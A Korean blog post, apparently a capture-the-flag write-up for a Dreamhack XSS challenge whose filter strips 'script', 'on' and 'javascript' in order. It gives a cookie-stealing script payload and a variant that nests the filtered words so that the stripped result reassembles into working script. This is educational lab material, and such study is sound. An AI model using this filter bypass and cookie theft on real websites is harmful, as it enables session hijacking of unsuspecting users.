문제
https://dreamhack.io/wargame/challenges/433/
문제풀이
xss-1, xss-2와 전반적으로 같다.
두개와 차이점은 아래와 같이
script, on, javascript를 필터링한다는 점이다.
여기서 주의할 점은 script -> on -> javascript 순서로 필터링된다는 것이다.
이 스크립트문은 xss-1에 썼던 것이다.
<script>location.href="/memo?memo="+document.cookie;</script>
javascript에도 script가 포함되어 있으니 조심해야한다 !
script => scronipt
location => locatiojavascriscriptptn
<scronipt>locatiojavascriscriptptn.href="/memo?memo="+document.cookie;</scronipt>
성공이다 !
'Wargame > Web' 카테고리의 다른 글
[Dreamhack] csrf-2 (0) | 2022.06.22 |
---|---|
[Dreamhack] csrf-1 (0) | 2022.06.22 |
[Dreamhack] XSS-2 (0) | 2022.06.21 |
[Dreamhack] XSS-1 (0) | 2022.06.21 |
[Dreamhack]pathtraversal (0) | 2022.06.17 |
댓글